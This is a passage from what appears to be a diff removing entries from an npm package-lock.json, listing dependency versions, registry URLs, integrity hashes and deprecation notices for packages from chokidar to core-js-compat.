"version": "1.7.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", - "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", - "deprecated": "Chokidar 2 will break on node v14+. Upgrade to chokidar 3 with 15x less dependencies.", - "dev": true, - "dependencies": { - "anymatch": "^1.3.0", - "async-each": "^1.0.0", - "glob-parent": "^2.0.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^2.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0" - }, - "optionalDependencies": { - "fsevents": "^1.0.0" - } - }, - "node_modules/chownr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", - "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", - "dev": true - }, - "node_modules/chrome-trace-event": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", - "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", - "dev": true, - "dependencies": { - "tslib": "^1.9.0" - }, - "engines": { - "node": ">=6.0" - } - }, - "node_modules/cipher-base": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.3.tgz", - "integrity": "sha1-7qvxlEGc6QDaMBjCB9IS8qbfCgc=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1" - } - }, - "node_modules/circular-json": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", - "integrity": "sha1-gVyZ6oT2gJUp0vRXkb34JxE1LWY=", - "deprecated": "CircularJSON is in maintenance only, flatted is its successor.", - "dev": true - }, - "node_modules/clap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/clap/-/clap-1.2.3.tgz", - "integrity": "sha512-4CoL/A3hf90V3VIEjeuhSvlGFEHKzOz+Wfc2IVZc+FaUgU0ZQafJTP49fvnULipOPcAfqhyI2duwQyns6xqjYA==", - "dev": true, - "dependencies": { - "chalk": "^1.1.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/class-utils": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", - "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", - "dev": true, - "dependencies": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/class-utils/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/class-utils/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/classnames": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", - "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" - }, - "node_modules/cli": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", - "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", - "dev": true, - "dependencies": { - "exit": "0.1.2", - "glob": "^7.1.1" - }, - "engines": { - "node": ">=0.2.5" - } - }, - "node_modules/cli-cursor": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", - "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", - "dev": true, - "dependencies": { - "restore-cursor": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cli-width": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", - "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", - "dev": true - }, - "node_modules/cli/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "dev": true, - "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - } - }, - "node_modules/clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", - "dev": true, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/clone-deep": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", - "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", - "dev": true, - "dependencies": { - "for-own": "^1.0.0", - "is-plain-object": "^2.0.4", - "kind-of": "^6.0.0", - "shallow-clone": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/clone-deep/node_modules/for-own": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", - "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", - "dev": true, - "dependencies": { - "for-in": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/clone-deep/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "dev": true, - "engines": { - "iojs": ">= 1.0.0", - "node": ">= 0.12.0" - } - }, - "node_modules/coa": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/coa/-/coa-1.0.4.tgz", - "integrity": "sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=", - "dev": true, - "dependencies": { - "q": "^1.1.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/codeceptjs": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/codeceptjs/-/codeceptjs-2.2.0.tgz", - "integrity": "sha512-Ke/kgBUVchw/cj6EmysJ48Y+N+Sn+F12Emsfm2PS009bEx7WgZfrX3LSPTMqNbLwHpAlhG4JxWb8e1OLAFu3GA==", - "dev": true, - "dependencies": { - "allure-js-commons": "^1.3.2", - "archiver": "^3.0.0", - "axios": "^0.19.0", - "chalk": "^1.1.3", - "commander": "^2.20.0", - "css-to-xpath": "^0.1.0", - "cucumber-expressions": "^6.0.1", - "escape-string-regexp": "^1.0.3", - "figures": "^2.0.0", - "fn-args": "^4.0.0", - "fs-extra": "^8.0.1", - "gherkin": "^5.1.0", - "glob": "^6.0.1", - "inquirer": "^6.3.1", - "js-beautify": "^1.9.1", - "lodash.merge": "^4.6.1", - "mkdirp": "^0.5.1", - "mocha": "^4.1.0", - "mocha-junit-reporter": "^1.22.0", - "parse-function": "^5.2.10", - "promise-retry": "^1.1.1", - "requireg": "^0.1.8", - "resq": "^1.5.0", - "sprintf-js": "^1.1.1" - }, - "bin": { - "codeceptjs": "bin/codecept.js" - }, - "engines": { - "node": ">=8.9.1", - "npm": ">=5.6.0" - } - }, - "node_modules/codeceptjs/node_modules/ansi-escapes": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/chardet": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", - "dev": true - }, - "node_modules/codeceptjs/node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "dependencies": { - "color-name": "1.1.3" - } - }, - "node_modules/codeceptjs/node_modules/commander": { - "version": "2.20.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz", - "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==", - "dev": true - }, - "node_modules/codeceptjs/node_modules/external-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", - "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", - "dev": true, - "dependencies": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/glob": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", - "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", - "dev": true, - "dependencies": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/codeceptjs/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dev": true, - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/codeceptjs/node_modules/inquirer": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.0.tgz", - "integrity": "sha512-scfHejeG/lVZSpvCXpsB4j/wQNPM5JC8kiElOI0OUTwmc1RTpXr4H32/HOlQHcZiYl2z2VElwuCVDRG8vFmbnA==", - "dev": true, - "dependencies": { - "ansi-escapes": "^3.2.0", - "chalk": "^2.4.2", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.3", - "figures": "^2.0.0", - "lodash": "^4.17.12", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.4.0", - "string-width": "^2.1.0", - "strip-ansi": "^5.1.0", - "through": "^2.3.6" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/codeceptjs/node_modules/inquirer/node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "node_modules/codeceptjs/node_modules/sprintf-js": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", - "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", - "dev": true - }, - "node_modules/codeceptjs/node_modules/string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, - "dependencies": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/string-width/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/codeceptjs/node_modules/strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "dependencies": { - "ansi-regex": "^4.1.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/codeceptjs/node_modules/strip-ansi/node_modules/ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/codeceptjs/node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/coffee-loader": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/coffee-loader/-/coffee-loader-0.8.0.tgz", - "integrity": "sha1-7EjnMn2o46mQR6mdm9z8rBLfNpQ=", - "dev": true, - "dependencies": { - "loader-utils": "^1.0.2" - }, - "peerDependencies": { - "coffeescript": ">= 1.8.x" - } - }, - "node_modules/coffeescript": { - "version": "1.12.7", - "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.12.7.tgz", - "integrity": "sha1-5X7kxIZ89/YGv8Sg8tVQwJgd3Sc=", - "dev": true, - "bin": { - "cake": "bin/cake", - "coffee": "bin/coffee" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/collection-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", - "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", - "dev": true, - "dependencies": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/color": { - "version": "0.11.4", - "resolved": "https://registry.npmjs.org/color/-/color-0.11.4.tgz", - "integrity": "sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=", - "dev": true, - "dependencies": { - "clone": "^1.0.2", - "color-convert": "^1.3.0", - "color-string": "^0.3.0" - } - }, - "node_modules/color-convert": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-0.5.3.tgz", - "integrity": "sha1-vbbGnOZg+t/+CwAHzER+G59ygr0=" - }, - "node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" - }, - "node_modules/color-string": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-0.3.0.tgz", - "integrity": "sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=", - "dev": true, - "dependencies": { - "color-name": "^1.0.0" - } - }, - "node_modules/color/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/color/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/colormin": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colormin/-/colormin-1.1.2.tgz", - "integrity": "sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=", - "dev": true, - "dependencies": { - "color": "^0.11.0", - "css-color-names": "0.0.4", - "has": "^1.0.1" - } - }, - "node_modules/colors": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz", - "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM=", - "dev": true, - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/combine-source-map": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/combine-source-map/-/combine-source-map-0.8.0.tgz", - "integrity": "sha1-pY0N8ELBhvz4IqjoAV9UUNLXmos=", - "dev": true, - "dependencies": { - "convert-source-map": "~1.1.0", - "inline-source-map": "~0.6.0", - "lodash.memoize": "~3.0.3", - "source-map": "~0.5.3" - } - }, - "node_modules/combined-stream": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", - "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "dev": true, - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/commander": { - "version": "2.15.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", - "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", - "dev": true - }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", - "dev": true - }, - "node_modules/component-emitter": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", - "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", - "dev": true - }, - "node_modules/compress-commons": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-1.2.2.tgz", - "integrity": "sha1-UkqfEJA/OoEzibAiXSfEi7dRiQ8=", - "dev": true, - "dependencies": { - "buffer-crc32": "^0.2.1", - "crc32-stream": "^2.0.0", - "normalize-path": "^2.0.0", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/compress-commons/node_modules/crc32-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", - "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", - "dev": true, - "dependencies": { - "crc": "^3.4.4", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true - }, - "node_modules/concat-stream": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.2.tgz", - "integrity": "sha1-cIl4Yk2FavQaWnQd790mHadSwmY=", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "dependencies": { - "inherits": "~2.0.1", - "readable-stream": "~2.0.0", - "typedarray": "~0.0.5" - } - }, - "node_modules/concat-stream/node_modules/readable-stream": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz", - "integrity": "sha1-j5A0HmilPMySh4jaz80Rs265t44=", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "string_decoder": "~0.10.x", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/config-chain": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz", - "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==", - "dev": true, - "dependencies": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" - } - }, - "node_modules/console-browserify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.1.0.tgz", - "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", - "dev": true, - "dependencies": { - "date-now": "^0.1.4" - } - }, - "node_modules/console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true - }, - "node_modules/consolidate": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/consolidate/-/consolidate-0.14.5.tgz", - "integrity": "sha1-WiUEe8dvcwcmZ8jLUsmJiI9JTGM=", - "dev": true, - "dependencies": { - "bluebird": "^3.1.1" - } - }, - "node_modules/constantinople": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", - "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", - "dev": true, - "dependencies": { - "@babel/parser": "^7.6.0", - "@babel/types": "^7.6.1" - } - }, - "node_modules/constants-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", - "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", - "dev": true - }, - "node_modules/continuable-cache": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz", - "integrity": "sha1-vXJ6f67XfnH/OYWskzUakSczrQ8=", - "dev": true - }, - "node_modules/convert-source-map": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.1.3.tgz", - "integrity": "sha1-SCnId+n+SbMWHzvzZziI4gRpmGA=", - "dev": true - }, - "node_modules/copy-concurrently": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", - "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", - "dev": true, - "dependencies": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - } - }, - "node_modules/copy-descriptor": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", - "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/core-js": { - "version": "2.5.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", - "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==", - "deprecated": "core-js@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js." - }, - "node_modules/core-js-compat": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz", - "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==", - "dev": true, - "dependencies": { - "browserslist": "^4.8.5", - "semver": "7.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/core-js" - } - }, - "node_modules/core-js-compat/node_modules/browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - }, - "funding": { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - }, - "node_modules/core-js-compat/node_modules/caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "node_modules/core-js-compat/node_modules/electron-to-chromium": { 